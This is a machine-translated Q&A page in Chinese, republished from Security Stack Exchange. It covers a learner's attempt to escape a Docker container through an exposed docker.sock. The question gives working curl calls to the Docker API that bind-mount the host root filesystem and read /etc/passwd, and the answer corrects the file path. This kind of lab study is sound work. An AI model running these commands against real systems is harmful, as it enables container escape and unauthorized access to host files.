首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >Docker:无法读取本地文件系统

Docker:无法读取本地文件系统
EN

Security用户
提问于 2020-09-05 17:36:43
回答 1查看 2.1K关注 0票数 0

我在容器里,我试着学习从容器到主机的逃避。因此,我创建了一个易受攻击的环境,容器在容器中有‘/var/run/docker.sock’文件来进行API调用。

因此,我尝试创建一个容器,它将路径源/挂载到容器/host目录。/,因为它包含整个文件系统。

代码语言:javascript
复制
curl -X POST -H "Content-Type: application/json" --unix-socket /run/docker.sock -d '{"Image":"ubuntu:latest", "Cmd":["cat", "/host/etc/passwd"], "Mounts":[{"Type":"bind", "Source":"/", "Target":"/host"}]}' "http://localhost/containers/create?name=escaping"

我启动集装箱

代码语言:javascript
复制
curl -X POST --unix-socket /run/docker.sock "http://localhost/containers/escaping/start"

当我使用以下方法检查日志时

代码语言:javascript
复制
curl --output - --unix-socket /run/docker.sock "http://localhost/containers/escaping/logs?stdout=true"

正如您所看到的,我在第一个命令中是猫/etc/passwd文件,所以我想我会得到主机文件的内容,但是当我检查内容时,这些是我运行CURL命令的第一个容器文件内容。

我在这里错过了什么?

EN

回答 1

Security用户

发布于 2020-10-15 09:41:23

我首先要说的是,你用卷发而不是船坞CLI做这件事,对自己来说有点困难(不过,这是一件好事)

因此,我认为这里的问题是,您在容器中设置了cat'd /etc/passwd,而不是/host/etc/passwd --记住,您正在以/host作为基础挂载主机文件系统,因此您需要将该路径预先添加到您希望访问的任何文件。

票数 0
EN
页面原文内容由Security提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://security.stackexchange.com/questions/237987

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档